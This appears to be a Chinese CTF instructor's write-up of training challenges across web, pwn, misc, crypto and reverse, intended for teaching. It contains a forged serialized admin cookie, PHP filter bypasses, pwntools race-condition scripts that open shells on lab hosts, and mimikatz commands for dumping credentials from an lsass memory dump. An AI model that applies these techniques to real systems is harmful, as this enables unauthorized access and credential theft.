第一次当ctf讲师^_^
7.12-7.19 week1 7.19-7.26 week2 7.26-8.02 week3
web Web-2-hack 使用dirsearch
扫描后台,发现存在shell.php
使用burp等工具抓包爆破密码,得到密码hack
web-3-web82 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );ini_set ("display_error" , false );error_reporting (0 );$str = isset ($_GET ['A_A' ])?$_GET ['A_A' ]:'A_A' ;if (strpos ($_SERVER ['QUERY_STRING' ], "A_A" ) !==false ) { echo 'A_A,have fun' ; }elseif ($str <9999999999 ) { echo 'A_A,too small' ; }elseif ((string )$str >0 ) { echo 'A_A,too big' ; }else { echo file_get_contents ('flag.php' ); }?>
需要我们传入A_A
,但是又不能等于A_A
,看似很矛盾,实际上利用了php的一个小特性
在php中,变量名中的+
%20
.
空格
[
会被替换成下划线,所以当我们传入A.A
或A A
时,也会被当成A_A
然后就是绕过数字,因为在php中会认为数组比数字大,所以传入?A+A[]=
即可
vipzone 首页有个hint,guest:guest 账户已经启用
,那就用guest账号登录看一下
发现有两个cookie比较可疑,因为有一个非常明显是base64加密后的值
base64解密后发现是明文的序列化对象
而第二个cookie: check
恰恰用这串base64的md5值的base64值来校验
所以我们只需要修改序列化对象然后加密就可以绕过登录了
但是我们不知道admin的密码,这里可以尝试用布尔型代替密码,并赋值为1
修改后的值:O:4:"User":2:{s:4:"user";s:5:"admin";s:4:"pass";b:1;}
base64加密:Tzo0OiJVc2VyIjoyOntzOjQ6InVzZXIiO3M6NToiYWRtaW4iO3M6NDoicGFzcyI7YjoxO30=
md5加密:6897f0060a84ecb0600e4167d2a748e4
web-3-web54 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );include "flag1.php" ;highlight_file (__file__);if (isset ($_GET ['args' ])){ $args = $_GET ['args' ]; if (!preg_match ("/^\w+$/" ,$args )){ die ("args error!" ); } eval ("var_dump($$args );" ); }
有一个正则匹配/^\w+$/
两个//表示开始和结束 ^表示开始字符串 $表示结束字符串 \w表示包含[a-z,A-Z, _ , 0-9] +表示一个或者多个\w
然后是一个$$args
,也就是说我们传入的参数将会被当作一个变量名并打印它的变量值
传入php超全局变量$GLOBALS
即可
Web-4-littledropbox 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php function upload ( ) { $uploadDir = "uploads/" . md5 ($_SERVER ['REMOTE_ADDR' ]); echo md5 ($_SERVER ['REMOTE_ADDR' ]); if (!is_dir ($uploadDir )) mkdir ($uploadDir ); if (!empty ($_FILES ["file" ])) { if (preg_match ("/ph/i" , substr ($_FILES ["file" ]["name" ], strrpos ($_FILES ["file" ]["name" ], "." ) + 1 ))) die ("nonono!!!" ); if (mb_strpos (file_get_contents ($_FILES ["file" ]["tmp_name" ]), '<?' ) !== False) die ("nonono!!!" ); $info = getimagesize ($_FILES ["file" ]["tmp_name" ]); if ($info [0 ] !== 100 || $info [1 ] !== 50 ) { die ("nonono!!!" ); } } @move_uploaded_file ($_FILES ["file" ]["tmp_name" ], $uploadDir . "/" . basename ($_FILES ["file" ]["name" ])); }$ready = filter_input (INPUT_GET, 'ready' );$key = filter_input (INPUT_GET, 'key' );if ($ready === "1" ) { session_start (); if (!isset ($_SESSION ["secretKey" ])) { $_SESSION ["secretKey" ] = mt_rand (); } mt_srand ($_SESSION ["secretKey" ]); echo mt_rand () . "<br>" ; for ($i = 0 ; $i < 225 ; $i ++) mt_rand (); echo mt_rand () . "<br>" ; echo mt_rand () . "<br>" ; echo mt_rand () . "<br>" ; if ($key === (string )$_SESSION ['secretKey' ]) { upload (); } } else { highlight_file (__FILE__ ); }
pwn race ida分析: 1:当i大于9,且输入不为1时,会调用system("/bin/sh")
; 2:修改i的值需要调用thread1函数,在这里因为count = 3
,而每次执行thread1
函数,都会使count--
, 在正常的使用中,最多只能执行三次i++
,不过因为sleep(0xA)
的原因,线程会在验证count
的值之后停下,我们可以在这10秒中,调用多次thread1
函数,使多个线程卡在++i
指令之前,在10秒之后,就会执行多次++i
指令,使i>9
,这时输入一个非1的数字,程序就会调用system("/bin/sh")
1 2 3 4 5 6 7 8 import timefrom pwn import * p=remote('172.19.1.28' ,'10001' )for i in range (10 ): p.sendline('1' ) time.sleep(0xb ) p.sendline('2' ) p.interactive()
race2 在file_read
函数中,当buf
字符串中不存在flag
时,会先等待5
秒 然后打开buf
字符串指定的文件,并输出文件内容
但因为程序是使用多线程调用的file_read
函数,所以程序在等待5
秒时,我们还是可以修改buf
字符串的值
最后只需要先让线程执行到sleep(5);
代码处,然后再输入flag
,然后等待一段时间,程序就会打开靶机上的flag
文件,并输出其内容
1 2 3 4 5 6 7 8 9 10 from pwn import *import time p=remote('172.19.1.132' ,10002 ) p.sendline('1' ) p.sendline('abc' ) time.sleep(1 ) p.sendline('1' ) p.sendline('flag' ) time.sleep(5 ) p.interactive()
misc misc-3-hacker 下载得到一个lsass.dmp
文件,什么是lsass.dmp
呢,它是procdump
从lsass.exe
中导出的凭据,可以用mimikatz
读取
把文件放到程序目录下,以管理员运行mimikatz
,执行以下命令
privilege::debug sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords full
如果报错ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->ProcessorArchitecture (0) != PROCESSOR_ARCHITECTURE_AMD64 (9)
那么可能是架构错了,用win32版本重新运行即可
misc-3-funny ASCII 二进制数据转成文本即可
misc-4-password 打开一看,发现有几个文件很小,只有4
一般小于6的文件是可以进行crc爆破的,推荐工具
用法:python crc32.py reverse crc
提取出来后转字符串得到easypassword
,解压得到flag
misc103 根据题目描述来看是一道数据恢复题
file命令看下文件badimages: Linux rev 1.0 ext3 filesystem data, UUID=ca014691-c6ea-4a5a-8da4-74a1aa1c9a80
可以知道是linux下的ext3文件,linux下的文件恢复可以用extundelete
命令
看日志:extundelete <file> --journal
尝试恢复所有目录和文件:extundelete <file> --restore-all
恢复到RECOVERED_FILES
目录
flag在RECOVERED_FILES/Flag.txt
中
Misc-5-Forgotten password 取证题
第一步肯定是获取内存镜像的基本信息
根据hint小明总是喜欢password记录下来
,用editbox
显示出有关编辑控件的信息,得到密码password*&!@wxcq12
用密码直接交不对,那么应该是压缩包之类的密码了 查找压缩包并导出
用editbox
得到的密码解压压缩包拿到flag
crypto Write a script md5爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import hashlibimport itertools word="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" r=itertools.product(word,repeat=3 )for i in r: dec ="flag{P7%sY0OG%s0XPC%sZPK}" %(i[0 ],i[1 ],i[2 ]) dec=dec.strip() enc = hashlib.md5() enc.update(dec.encode()) code=enc.hexdigest() code=code.strip() if code[:4 ]=="9e86" and code[-6 :]=="0ea7cf" : print (dec)
base 给了一个py文件和明文的md5值
代码中明文base64加密之后将小写字母全部变为大写
使用脚本暴力破解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import hashlibimport itertoolsimport base64def check (str ): m1 = hashlib.md5(str ).hexdigest() if m1 == '16478a151bdd41335dcd69b270f6b985' : return True else : return False list1=itertools.product(['Y' ,'y' ],['M' ,'m' ],['F' ,'f' ],['Z' ,'z' ],['Z' ,'z' ],['T' ,'t' ],['Y' ,'y' ],['0' ],['D' ,'d' ],['3' ],['R' ,'r' ],['M' ,'m' ],['D' ,'d' ],['3' ],['R' ,'r' ],['M' ,'m' ],['M' ,'m' ],['T' ,'t' ],['I' ,'i' ],['Z' ,'z' ])for i in list1: str1='' .join(i) if check(base64.b64decode(str1)): print "The Flag is " +base64.b64decode(str1) break else : print "not " +str1
reverse 一张来自夏天的车票 pyc文件,先进行反编译
uncompyle6 exp.pyc > exp.py
失败,修复下文件
file看下版本,是3.6的
构造一个3.6生成的pyc文件与exp.pyc
对比
会发现中间少了四个字节
填充上00
反编译后运行得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import base64 key = 'e4b5e6d3-bc5a-475b-8c26-d3941ed9b90f' enc = 'XQdSA1YEV1IAAFMGUwAAA1AGAFkFBwcAAQQPVwRVXAxXDFFf' print (key[(len (key) - 1 )])def decode2 (m ): return base64.urlsafe_b64decode(m)def decode1 (m, key ): flag = '' for i in range (len (key) - 6 ): flag += chr (ord (key[i]) ^ ord (chr (m[i]))) return flagprint (decode2(enc)) tmp = decode1(decode2(enc), key)print (tmp)
啊? 安卓逆向题,先在模拟器上安装,找到验证函数
跳转到check
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public class M extends T { public void check (String str) { String key; if (str.length() != 16 ) { throw new RuntimeException (); } try { key = m0getey(); } catch (Exception e) { key = getKey(); System.arraycopy(key, 0 , str, 5 , 5 ); } int [] iArr = new int [16 ]; iArr[0 ] = 42 ; iArr[12 ] = 14 ; iArr[10 ] = 7 ; iArr[14 ] = 15 ; iArr[15 ] = 17 ; try { iArr[1 ] = 43 ; iArr[5 ] = 5 ; System.out.println(); } catch (Exception e2) { iArr[5 ] = 37 ; iArr[1 ] = 85 ; } iArr[6 ] = 15 ; iArr[2 ] = 32 ; iArr[3 ] = 23 ; iArr[11 ] = 68 ; iArr[4 ] = 85 ; iArr[13 ] = 5 ; iArr[9 ] = 7 ; iArr[7 ] = 8 ; iArr[8 ] = 22 ; for (int i = 0 ; i < str.length(); i++) { if ((iArr[i] & 255 ) != ((str.charAt(i) ^ key.charAt(i % key.length())) & 255 )) { throw new RuntimeException (); } } }
本题的关键就是最后那个if判断,会将输入的字符串与key进行异或,值存储在iArr
数组里
从上面贴出代码的第八行跳转到m0getey
函数获取key
解密脚本 将数组中的值和key逐个异或即可得到flag
1 2 3 4 v1 = [42 , 43 , 32 , 23 , 85 , 5 , 15 , 8 , 22 , 7 , 7 , 68 , 14 , 5 , 15 , 17 ] key = "anylab" for x in range (16 ): print (chr ((v1[x] & 255 ) ^ (ord (key[x % 6 ]) & 255 )), end="" )